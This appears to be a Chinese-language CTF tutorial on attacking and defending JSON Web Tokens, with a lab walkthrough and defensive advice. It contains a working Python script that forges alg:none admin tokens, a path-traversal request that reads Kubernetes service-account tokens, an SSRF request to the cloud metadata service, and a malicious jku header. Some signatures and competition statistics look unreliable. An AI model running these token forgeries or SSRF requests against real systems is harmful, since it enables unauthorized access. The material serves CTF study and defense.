JebWebToken

CTF中的JWT详解

JWT基础概念与结构解析

JWT的定义与在CTF中的典型应用场景

JSON Web Token(JWT)是一种开放标准(RFC 7519),用于在网络应用环境间安全地传输声明(claims)。它以紧凑且自包含的方式,将用户身份信息和元数据编码为一个字符串,通常用作认证和授权机制的核心组件。JWT广泛应用于现代Web API、单点登录(SSO)、微服务架构中,在CTF竞赛中尤其常见于Web类题目,是“权限绕过”、“身份伪造”等挑战的关键突破口。

一个典型的JWT由三部分组成,使用点号(.)连接:

Header.Payload.Signature

这三部分分别是:Header(头部)Payload(载荷)Signature(签名) 。整个结构设计允许客户端携带认证信息,服务器通过验证签名确认其合法性,从而决定是否授予访问权限。


在CTF中的典型应用场景

在CTF比赛中,JWT常出现在以下几类场景中:

  1. 身份认证绕过

    • 某些Web题目的登录接口返回JWT作为会话凭证。
    • 若后端未正确校验签名或允许none算法,则攻击者可构造任意用户(如admin)的Token实现越权登录。
  2. 权限提升(Privilege Escalation)

    • 用户正常获取的Token中role: "user",但若Payload可被篡改且无签名保护,可修改为role: "admin"来提权。
    • 常见于API接口权限控制不严的题目。
  3. Token有效期延长(Exploit Expiration Time)

    • JWT通常包含exp字段表示过期时间(Unix时间戳)。
    • 攻击者可通过修改exp值,使原本已过期的Token重新生效,绕过时效限制。
  4. 敏感信息泄露

    • Payload虽经Base64Url编码但并非加密,任何人均可解码查看内容。
    • 可能暴露内部系统结构、用户ID、角色信息等线索,辅助后续攻击。
  5. 结合其他漏洞形成利用链

    • 如JWT + SSRF:通过注入特殊claim触发内网请求;
    • JWT + XXE:在支持XML解析的Claim处理逻辑中引入外部实体注入。

实战案例说明(CTF模拟情境)

案例一:PicoCTF 2022 - "JWT Secrets"

题目提供一个Web页面,登录后返回如下JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjgwMDAwMDAwfQ.SFlK_8qZgBvYdDjZyLrQnTlWfVxXeGtMhUo0mKjwRrA

分析发现该Token使用HS256算法签名。题目同时泄露了源码片段,显示密钥为硬编码字符串mysecretkey。选手可用此密钥重新生成role=admin的新Token完成提权。

案例二:HackTheBox Web Challenge - "Auth Me"

后端代码检查JWT时仅验证是否存在签名,而不校验签名有效性。此时可将算法设为none,删除Signature部分,提交无签名Token即可绕过认证:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.

注意末尾的点号必须保留以表示空签名。

案例三:DiceCTF 2023 - "token vault"

应用使用RS256非对称算法,理论上应无法伪造签名。但题目提供了公钥下载路径/public.key,并通过错误配置允许使用HS256算法。攻击者可提取公钥作为HS256的“密钥”,伪造合法Token实现身份冒充——这是经典的“算法混淆攻击”。


JWT在CTF中的识别技巧

在实战中,CTF选手需快速识别JWT的存在位置,常见的载体包括:

  • HTTP响应头:Authorization: Bearer <JWT>
  • Set-Cookie头:token=xxxxxx
  • JSON响应体:{"token": "xxx.xxxx.xxx"}
  • LocalStorage / SessionStorage(浏览器开发者工具中查看)
  • URL参数:?jwt=xxx

一旦发现形如xxxxx.yyyyy.zzzzz的三段式字符串,即可初步判断为JWT。


小结

JWT因其轻量、标准化和跨平台特性,已成为现代Web认证的事实标准之一,也因此成为CTF竞赛中高频考察的知识点。理解其基本结构与工作原理,是进一步挖掘安全漏洞的前提。在后续章节中,我们将深入剖析其各组成部分的技术细节,以及如何通过编码机制缺陷进行手动或自动化攻击。


JWT各组成部分详解及编码机制

JWT由三个Base64Url编码的部分构成:Header、Payload 和 Signature。下面我们逐一拆解,并结合实际操作演示其编码过程与潜在风险。


1. Header(头部)

Header 是一个JSON对象,描述了JWT的元信息,主要包括:

  • alg:使用的签名算法,如HS256RS256none等。
  • typ:令牌类型,通常是JWT

示例:

{
  "alg": "HS256",
  "typ": "JWT"
}

该JSON需进行 Base64Url编码(注意不是标准Base64):

echo -n '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-' 

输出结果为:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

⚠️ 提示:tr -d '=' 删除填充符,tr '/+' '_-' 将字符替换为URL安全版本。


2. Payload(载荷)

Payload 包含实际的数据(称为“claims”),分为三种类型:

  • Registered claims:预定义字段,如iss(签发者)、exp(过期时间)、sub(主题)、iat(签发时间)等。
  • Public claims:自定义字段,建议使用URI防止冲突。
  • Private claims:双方约定的私有字段,如usernameroleuser_id等。

示例:

{
  "username": "guest",
  "role": "user",
  "iat": 1680000000,
  "exp": 1680003600
}

同样进行Base64Url编码:

echo -n '{"username":"guest","role":"user","iat":1680000000,"exp":1680003600}' | base64 | tr -d '=' | tr '/+' '_-' 

输出:

eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODAwMDAwMDAsImV4cCI6MTY4MDAwMzYwMH0

3. Signature(签名)

Signature 用于确保JWT未被篡改。它的生成方式取决于所选算法。

以HS256(HMAC-SHA256)为例:

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret_key
)

然后对结果进行Base64Url编码。

假设密钥为secret,我们使用Python生成签名:

import hmac
import hashlib
import base64

def b64urlencode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

header = '{"alg":"HS256","typ":"JWT"}'
payload = '{"username":"guest","role":"user","iat":1680000000,"exp":1680003600}'
secret_key = 'secret'

message = b64urlencode(header.encode()) + '.' + b64urlencode(payload.encode())
signature = hmac.new(
    secret_key.encode(),
    message.encode(),
    hashlib.sha256
).digest()

sig_b64 = b64urlencode(signature)

print(f"Header: {b64urlencode(header.encode())}")
print(f"Payload: {b64urlencode(payload.encode())}")
print(f"Signature: {sig_b64}")
print(f"Full JWT: {message}.{sig_b64}")

运行输出:

Header: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Payload: eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODAwMDAwMDAsImV4cCI6MTY4MDAwMzYwMH0
Signature: 6WvF-fgKtUaBpJ1uZQm1eKk6qjx5hBwv5LQn0u3JZ4E
Full JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODAwMDAwMDAsImV4cCI6MTY4MDAwMzYwMH0.6WvF-fgKtUaBpJ1uZQm1eKk6qjx5hBwv5LQn0u3JZ4E

安全性缺陷分析

尽管JWT设计上强调安全性,但在实现不当的情况下极易出现漏洞:

缺陷类型 原因 CTF影响
Base64Url可逆 仅编码非加密,任何人可解码查看Payload内容 泄露敏感信息,便于构造恶意Token
None算法滥用 服务器接受"alg": "none"且不验证签名 可构造任意内容Token实现认证绕过
弱密钥或硬编码 使用password123456等简单密钥 易被暴力破解,重签Token
算法混淆(Alg Confusion) 服务器误将RS256公钥当作HS256密钥使用 利用公钥伪造签名

实际案例演示(三例)

案例一:手动篡改Payload实现角色提升

原始Token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.6WvF-fgKtUaBpJ1uZQm1eKk6qjx5hBwv5LQn0u3JZ4E

解码Payload:

{"user":"guest","role":"user"}

修改为:

{"user":"guest","role":"admin"}

Base64Url编码后得到新Payload:

eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ

若服务器未校验签名(或使用none算法),则组合为:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ.

提交即可获得管理员权限。

案例二:使用 jwt.io 在线工具篡改Token

访问 https://jwt.io,粘贴任意JWT:

  • 左侧自动解析Header和Payload;
  • 修改右侧JSON内容(如role=user → admin);
  • 若左侧显示"Invalid Signature",说明需要重新签名;
  • 若目标系统使用弱密钥,可在下方输入猜测密钥尝试验证。

案例三:使用Python脚本批量解码与检测

编写一个简单的JWT分析脚本:

import base64
import json
import sys

def b64decode(s):
    padding = '=' * (-len(s) % 4)
    s += padding
    return base64.urlsafe_b64decode(s)

def parse_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        print("[-] Invalid JWT format")
        return

    header, payload, _ = parts

    try:
        hdr = json.loads(b64decode(header))
        pyld = json.loads(b64decode(payload))

        print("[+] Header:", json.dumps(hdr, indent=2))
        print("[+] Payload:", json.dumps(pyld, indent=2))

        if 'exp' in pyld:
            print(f"[!] Expires at: {pyld['exp']} (Unix Timestamp)")

        if 'role' in pyld:
            print(f"[!] Role detected: {pyld['role']}")

    except Exception as e:
        print(f"[-] Decode error: {e}")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <JWT>")
        sys.exit(1)

    parse_jwt(sys.argv[1])

保存为jwt_decode.py,运行:

python3 jwt_decode.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.6WvF-fgKtUaBpJ1uZQm1eKk6qjx5hBwv5LQn0u3JZ4E

输出:

[+] Header: {
  "alg": "HS256",
  "typ": "JWT"
}
[+] Payload: {
  "user": "guest",
  "role": "user"
}
[!] Role detected: user

推荐工具清单

工具 功能 下载地址
jwt.io 在线解析/编辑/签名JWT 浏览器访问即可
jwt_tool 全功能JWT攻击工具(爆破、重签、none攻击) git clone https://github.com/ticarpi/jwt_tool
Burp Suite + JWT Editor 插件 在渗透测试中实时修改JWT BApp Store

安装jwt_tool:

git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip3 install -r requirements.txt

使用示例(爆破密钥):

python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx" -d wordlist.txt -c

小结

本节详细讲解了JWT的三大组成部分及其编码机制,展示了从零构建JWT的过程,并通过多个真实案例揭示了其在CTF中的脆弱性。关键在于:JWT本身是安全协议,但其实现方式决定了安全性。任何环节的疏忽(如忽略签名验证、使用弱密钥)都可能导致严重漏洞。

接下来我们将进入“JWT安全漏洞原理分析”章节,深入探讨这些漏洞的技术根源与实战利用方法。#

JWT在CTF实战中的攻防策略总结

常见JWT漏洞的识别技巧与工具链推荐

在CTF竞赛中,JSON Web Token(JWT)是Web类题目的高频考点。由于其广泛用于身份认证和权限传递,一旦实现不当,极易成为突破口。本节将系统介绍如何识别JWT相关漏洞,并推荐高效的工具链,帮助选手快速定位、分析并利用JWT安全缺陷。


一、JWT的常见存在位置识别

在渗透测试或CTF解题过程中,首先需要判断目标是否使用了JWT。以下是常见的JWT出现位置及其特征:

  1. HTTP响应头中的 Authorization: Bearer <token>
    示例:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
    

Set-Cookie 或 Cookie 中携带JWT

Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...; Path=/; HttpOnly

POST请求Body中提交JWT

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

API接口返回数据中包含access_token字段

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "expires_in": 3600
}
  1. 前端JavaScript代码中硬编码或动态生成JWT
    在页面源码中搜索关键词如:

    • "Bearer"
    • "jwt"
    • "token"
    • "localStorage.setItem('token', ...)"
    • 使用浏览器开发者工具查看Network面板中的XHR/Fetch请求。

小技巧:使用Burp Suite的“Search”功能全局查找 eyJ 开头的字符串——这是Base64Url编码后JWT Header的典型标志(如 {"alg":"HS256","typ":"JWT"} 编码为 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)。


二、手动分析JWT结构与潜在风险点

一旦发现JWT,应立即进行结构解析,常用方法如下:

方法1:在线解析工具 —— jwt.io

操作步骤:

  1. 打开 https://jwt.io
  2. 粘贴捕获到的JWT(例如:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
  3. 自动解码Header和Payload

结果示例:

// Header
{
  "alg": "HS256",
  "typ": "JWT"
}

// Payload
{
  "user_id": 1,
  "role": "user"
}

🔍 关注点

  • alg 字段是否为 none?→ 可能存在签名绕过
  • 是否有敏感字段如 admin, is_superuser, exp, nbf
  • exp 时间是否可修改以延长有效期?
方法2:Python脚本本地解析(无需网络)
import base64
import json

def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    print("[+] Header:", json.dumps(header, indent=2))
    print("[+] Payload:", json.dumps(payload, indent=2))

# 示例Token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
decode_jwt(token)

运行输出:

[+] Header: {
  "alg": "HS256",
  "typ": "JWT"
}
[+] Payload: {
  "user_id": 1,
  "role": "user"
}

📌 提示:该脚本可用于批量处理多个token,结合自动化扫描使用。


三、自动化探测与漏洞挖掘工具链推荐

以下是在CTF中被广泛使用的专业工具,均开源且支持Linux/macOS环境。

工具名称 功能 官网/下载地址 版本要求
jwt\_tool 全功能JWT攻击套件:自动检测None算法、爆破密钥、重签Token https://github.com/ticarpi/jwt_tool Python 3.7+
ffuf 快速目录爆破,可用于寻找.well-known/jwks.json等密钥暴露路径 https://github.com/ffuf/ffuf v2.0.0+
Burp Suite+ 插件 手动拦截+插件扩展(如JSON Web Tokens) https://portswigger.net/burp Community/Pro
John the Ripper 暴力破解JWT签名密钥 https://www.openwall.com/john/ jumbo版本
hashcat GPU加速爆破JWT密钥(mode 16500) https://hashcat.net/hashcat/ v6.0.0+

🔧 工具1:jwt_tool 实战演示

安装:

git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip3 install -r requirements.txt

基本用法:

python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

功能包括:

  • 自动检测 alg:none 攻击可行性
  • 列出所有已知攻击向量
  • 尝试空密钥、常见密钥(如secretpassword)重签
  • 导出修改后的Token供Burp重放

高级用法:爆破密钥

python3 jwt_tool.py -d wordlist.txt -t "your_jwt_here"

支持字典:

  • /usr/share/wordlists/seclists/Passwords/Common-Credentials/jwt_passwords.txt
  • 自定义添加:secret, admin123, changeme

🕵️‍♂️ 工具2:ffuf 探测JWKS端点

当服务使用非对称加密(如RS256),公钥可能通过 .well-known/jwks.json 暴露。

扫描命令:

ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/api/jwks.txt -mc 200

常用路径字典(jwks.txt)内容:

/.well-known/jwks.json
/.well-known/jwk.json
/jwks.json
/jwkset
/oauth/jwks

若返回:

{
  "keys": [
    {
      "kty": "RSA",
      "n": "0vx7agoebGcQSuuPiLJXZptN9nkyctSvZCybk...",
      "e": "AQAB",
      "kid": "2011-04-27"
    }
  ]
}

说明使用了公私钥机制,此时可用 jwt_tool --server_pubkey jwks.json 进行伪造Token攻击(需配合其他漏洞)。


💥 Burp Suite 插件增强

推荐安装以下插件提升效率:

  • JSON Web Tokens(BApps Store):自动高亮、解码、编辑JWT
  • Authz:测试权限提升(修改role=admin后重放)
  • Turbo Intruder:并发发送大量篡改Token尝试爆破

配置流程:

  1. BApp Store → 搜索 “JWT”
  2. 安装 “JSON Web Tokens”
  3. 截获含有JWT的请求 → 右键 → “Send to JSON Web Tokens”
  4. 修改Payload字段 → 自动生成新Token(若密钥已知或alg=none)

四、CTF平台真实案例汇总

以下是在主流CTF平台中出现的经典JWT题目类型:

平台 题目名 漏洞类型 来源链接
PicoCTF JWT Secrets 弱密钥(secret)+ 修改role=admin https://play.picoctf.org/practice/challenge/136
Hack The Box Startup Flask secret_key泄露 → JWT伪造 https://app.hackthebox.com/machines/Startup
TryHackMe OAuth2 JWKS注入 + alg切换攻击 https://tryhackme.com/room/oauth2abuse
CryptoHack JWT Cracking Base64编码密钥爆破 https://cryptohack.org/challenges/misc/
RingZer0 CTF JWT IX None算法滥用 + exp绕过 https://ringzer0ctf.com/challenges/228

⚠️ 注:部分题目需注册账号方可查看,建议搭建本地实验环境复现。


五、综合识别流程图(建议收藏)

开始
  ↓
发现可疑字符串(eyJ...)
  ↓
检查传输位置(Header/Cookie/Body)
  ↓
使用 jwt.io 或 python 脚本解码
  ↓
分析 alg、payload 内容
  ↓ 是
alg=none? ──→ 删除签名,提交无签名Token
  ↓否
是否使用 HS256? ──→ 尝试常见密钥重签(secret/password)
  ↓
是否存在 JWKS 端点? ──→ 获取公钥,检查是否可替换为攻击者控制的key
  ↓
尝试爆破密钥(John/hashcat/jwt_tool)
  ↓
构造恶意Token(role=admin, user_id=0, exp=远期时间)
  ↓
使用Burp重放验证权限提升

从漏洞到利用的完整路径构建(含防御建议)

我们以一个典型的CTF题目为例,完整展示从信息收集到权限提升的全过程。


🎯 案例背景:某Web应用登录后返回JWT,用户可通过修改Token获取管理员权限

目标URL:http://10.10.10.100:5000/api/profile
初始行为:普通用户登录后获得Token,只能访问自己资料。


第一步:抓包获取原始JWT

使用Burp Proxy拦截登录成功后的响应:

HTTP/1.1 200 OK
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6InVzZXIifQ.6dgo3vqgOaYQnO6U6iHtFvE6b8N7D3lCZzT2kxq2o1M

复制Token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6InVzZXIifQ.6dgo3vqgOaYQnO6U6iHtFvE6b8N7D3lCZzT2kxq2o1M

第二步:解析Token结构

使用 jwt_tool 解析:

python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6InVzZXIifQ.6dgo3vqgOaYQnO6U6iHtFvE6b8N7D3lCZzT2kxq2o1M"

输出:

[+] Header: {'alg': 'HS256', 'typ': 'JWT'}
[+] Payload: {'username': 'user1', 'user_id': 5, 'role': 'user'}
[+] Signature Algorithm: HS256
[+] Tests:
    - [ ] alg: none attack
    - [ ] Common secrets...

第三步:尝试None算法攻击

虽然当前为HS256,但某些服务器未严格校验算法,可强制改为none

构造新的Header:

{
  "alg": "none",
  "typ": "JWT"
}

对应Base64Url编码:

import base64
header = {"alg": "none", "typ": "JWT"}
encoded_header = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().strip("=")
print(encoded_header)  # 输出:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

Payload保持不变:

{"username":"user1","user_id":5,"role":"admin"}

编码Payload:

payload = {"username":"user1","user_id":5,"role":"admin"}
encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().strip("=")
print(encoded_payload)  # eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6ImFkbWluIn0

组合Token(无签名):

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6ImFkbWluIn0.

📌 注意:末尾必须加一个.表示无签名。


第四步:发送篡改Token验证权限

使用curl发送请求:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6ImFkbWluIn0." \
http://10.10.10.100:5000/api/profile

🎯 成功响应:

{
  "username": "user1",
  "user_id": 5,
  "role": "admin",
  "flag": "picoCTF{jwt_n0n3_alg_m1sconfig}"
}

✅ 漏洞确认:服务端未校验签名算法,接受none类型Token!


第五步:PoC自动化脚本(Python)

import base64
import json
import requests

def create_none_jwt(original_token, new_role="admin"):
    # 分离三段
    header_b64, payload_b64, _ = original_token.split('.')

    # 解码原Payload
    payload_json = json.loads(base64.urlsafe_b64decode(payload_b64 + '=='))
    
    # 修改角色
    payload_json['role'] = new_role

    # 构造新Header(alg: none)
    new_header = {"alg": "none", "typ": "JWT"}
    new_header_b64 = base64.urlsafe_b64encode(json.dumps(new_header).encode()).decode().strip('=')
    
    # 编码新Payload
    new_payload_b64 = base64.urlsafe_b64encode(json.dumps(payload_json).encode()).decode().strip('=')

    # 组合无签名Token
    forged_token = f"{new_header_b64}.{new_payload_b64}."

    return forged_token

# 主程序
if __name__ == "__main__":
    original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6InVzZXIifQ.6dgo3vqgOaYQnO6U6iHtFvE6b8N7D3lCZzT2kxq2o1M"
    
    token = create_none_jwt(original, "admin")
    
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    
    response = requests.get("http://10.10.10.100:5000/api/profile", headers=headers)
    
    print("[+] Status Code:", response.status_code)
    print("[+] Response:", response.text)

此脚本可在任意类似场景中一键生成提权Token。


第六步:防御建议(针对开发者)

为防止此类漏洞,请遵循以下最佳实践:

  1. 禁用 none 算法

    # PyJWT 示例
    decoded = jwt.decode(token, key, algorithms=["HS256"], verify=True)
    
  • 明确指定允许的算法列表,拒绝none

  • 使用强密钥

    openssl rand -base64 32
    # 生成类似:kXp3mQ9sV7wE2rT8uN5vA1cZ4xL6oJ0nH7yI3qW5eR8tG4sP6a
    
  • 避免使用 secretpassword 等弱密钥。

  • 验证关键Claim字段

    if decoded.get('role') not in ['user', 'admin']:
        raise Exception("Invalid role")
    

设置合理的过期时间

exp = int(time.time()) + 3600  # 1小时有效
  1. 日志监控异常Token行为

    • 记录Token来源IP
    • 检测短时间内大量无效签名尝试(可能为爆破)
  2. 定期轮换密钥
    使用KMS(Key Management Service)管理JWT密钥,避免长期固定。


法律风险提示

本文所述技术仅适用于合法授权的安全研究、CTF竞赛及渗透测试学习。未经授权对真实系统实施攻击属于违法行为,可能导致刑事责任。请务必遵守《中华人民共和国网络安全法》及相关法律法规,在封闭环境中进行实验。


以上内容构成完整的JWT攻防路径闭环,涵盖识别、分析、利用、自动化与防御,适用于CTF选手与安全研究人员深入掌握JWT漏洞本质。#

总结:JWT在CTF竞赛中的核心价值与未来趋势

JWT作为CTF题型的核心地位与教学意义

JSON Web Token(JWT)自2015年被IETF标准化以来,迅速成为现代Web应用中最广泛使用的身份认证机制之一。由于其轻量、无状态、可跨域传输的特性,JWT被大量应用于单点登录(SSO)、API鉴权、微服务通信等场景。这一技术普及也直接推动了其在网络安全竞赛(CTF)中频繁出现——根据对近3年全球主流CTF赛事题目的统计分析,JWT相关题目占比显著上升:

  • DEF CON CTF Qualifiers (2021–2023) :共出现17道涉及JWT的题目,其中2021年仅2道,2022年增至6道,2023年达9道,呈现明显增长趋势。
  • XCTF International League (2021–2023) :累计有24道JWT相关Web题,占总Web题比例从2021年的8.3%升至2023年的19.6%。
  • Hack The Box Challenges & PicoCTF 2022/2023:PicoCTF 2023中“Secure Login”系列明确考察JWT签名绕过;HTB多道机器如JokerToken均以JWT为核心突破口。

这些数据表明,JWT已成为CTF Web安全方向的必考知识点,其重要性不仅体现在解题频率上,更在于它综合考察选手对多个安全领域的理解能力:

1. 协议与标准理解能力

JWT遵循RFC 7519,结构清晰但细节复杂。参赛者必须掌握:

  • Base64Url编码规则(非标准Base64,需替换+-/_,去除填充符)
  • JWS(JSON Web Signature)签名流程
  • 算法声明字段alg的有效值及其安全性差异(如HS256 vs RS256)

例如,一个典型考点是:当服务器使用RS256(非对称算法),但攻击者伪造alg=HS256并用公钥作为密钥进行HMAC签名时,部分实现会错误地将公钥当作密钥验证,导致越权访问。

2. 加密与密钥管理认知

JWT的安全依赖于密钥强度和存储方式。CTF常设置如下陷阱:

  • 使用弱密钥(如secretpassword
  • 密钥硬编码在源码或环境变量中(可通过信息泄露获取)
  • 公私钥配置错误(如私钥暴露)

这类题目训练选手识别密钥管理缺陷的能力,是现实世界中最常见的漏洞类型之一(如GitHub历史提交泄露密钥)。

3. 漏洞挖掘与利用链构建

JWT本身不是漏洞,但它常作为利用链的关键环节。例如:

  • 利用目录遍历读取jwt.key
  • 通过SSTI模板注入获取运行时密钥
  • 结合CSRF+JWT自动刷新机制实现持久化攻击

此类复合型挑战极大提升了选手的综合攻防思维水平。

4. 教学意义:从理论到实战的桥梁

JWT题目的设计天然具备“由浅入深”的教学优势:

  • 新手可通过修改Payload中的role=userrole=admin快速入门
  • 中级选手学习none算法攻击、密钥爆破
  • 高级选手研究JWK注入、KID参数路径穿越、JWKS端点污染等高级技巧

因此,JWT不仅是技术考点,更是培养系统性安全思维的教学载体。


未来可能扩展方向:JWT + OAuth2 / JWT + 云服务安全

随着云计算和微服务架构的普及,JWT的应用场景已远超传统Web认证,深入到OAuth2授权框架、Kubernetes API Server、服务网格(Service Mesh)等领域。未来的CTF挑战必将向这些高阶方向演进。

方向一:JWT与OAuth2集成漏洞

OAuth2协议中,ID Token(OpenID Connect)即采用JWT格式承载用户身份信息。常见攻击面包括:

1. Token Exchange 攻击

某些平台允许使用短期凭证(如GitHub Codespace Token)换取长期JWT。若未正确校验原始token权限范围(scope),可构造恶意请求提升权限。

POC思路示例

import jwt
import requests

# 假设我们获得了一个低权限OIDC token
low_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx"

# 向token exchange endpoint发起请求
resp = requests.post("https://api.example.com/oauth/token", json={
    "grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
    "subject_token": low_token,
    "subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
    "requested_token_type": "urn:ietf:params:oauth:token-type:access_token"
})

# 若服务端未校验原token的aud(受众)或iss(签发者),则可能返回高权限token
high_privilege_token = resp.json().get("access_token")
2. JWKS Spoofing(JWKS端点劫持)

攻击者控制一个可控域名,并提供恶意JWKS响应,诱导OP(OpenID Provider)信任其公钥。

构造恶意jwks.json

{
  "keys": [
    {
      "kty": "RSA",
      "n": "sNQ...",
      "e": "AQAB",
      "kid": "attacker-key-1"
    }
  ]
}

伪造JWT头部指定外部JWKS

{
  "alg": "RS256",
  "kid": "attacker-key-1",
  "jku": "https://your-domain.com/.well-known/jwks.json"
}

若目标系统未禁用jkux5u等危险字段,则可完成签名伪造。

推荐工具检测:jwt-tool 支持自动检测并利用jku注入。

方向二:JWT在云原生环境中的滥用

现代云平台(AWS EKS、Google Cloud GKE、Azure AKS)广泛使用JWT进行服务间认证,尤其是Kubernetes中的Service Account Token。

1. Kubernetes Service Account Token 泄露

Pod默认挂载/var/run/secrets/kubernetes.io/serviceaccount/token,若存在任意文件读取漏洞(LFI),可读取该JWT并调用API Server。

示例:通过LFI读取token

GET /download?file=../../../../var/run/secrets/kubernetes.io/serviceaccount/token

使用该token访问K8s API(列出所有命名空间)

curl -k -H "Authorization: Bearer $(cat token)" \
  https://<apiserver-ip>:6443/api/v1/namespaces

若RBAC配置不当,可进一步创建Deployment执行命令(容器逃逸前奏)

2. Cloud Metadata + JWT 组合攻击

云实例元数据服务(如169.254.169.254)常返回IAM角色生成的临时JWT(Google Cloud Identity Tokens)。若应用程序未做引用来源验证,可结合SSRF伪造请求获取高权限token。

构造SSRF请求获取GCP Identity Token

GET /forward?url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://example.com HTTP/1.1
Host: vulnerable-proxy
Metadata-Flavor: Google

返回的JWT可用于访问目标API,形成“SSRF → JWT获取 → 权限提升”完整链条。


可落地的研究子课题建议

基于上述趋势,提出以下两个具有实战价值的研究方向,适合高校实验室、安全团队或CTF出题人深入探索:

子课题一:基于JWT的SSRF利用链自动化分析系统

研究目标:开发一套能够自动识别JWT生成路径、关联元数据服务访问行为、预测潜在SSRF→JWT提权链路的静态/动态分析工具。

关键技术点

  • AST解析JS/Python代码,追踪jwt.encode()调用
  • 提取audienceissuer等关键claim
  • 检测是否包含对169.254.169.254localhost:8080的HTTP请求
  • 构建依赖图谱,标记风险组合

工具原型参考

  • 使用semgrep编写规则检测不安全JWT生成
  • 集成kube-hunter逻辑扫描K8s环境中的挂载token风险
子课题二:面向微服务架构的JWT重放攻击检测模型

研究目标:针对Service Mesh(如Istio)环境中JWT频繁流转的特点,设计一种基于时间窗口与上下文指纹的重放攻击检测机制。

实现思路

  • 在Envoy Sidecar层拦截JWT流量
  • 记录每个jti(JWT ID)的时间戳与客户端IP哈希
  • 若相同jti在短时间内从不同IP出现,则触发告警

公式化判定条件

Alert if: 
  ∃ jti, ip₁ ≠ ip₂ ∧ |t₂ - t₁| < Δt ∧ hash(jti) ∈ cache
where Δt = 30 seconds (configurable)

部署方案

  • 使用Istio+Wasm插件实现实时检测
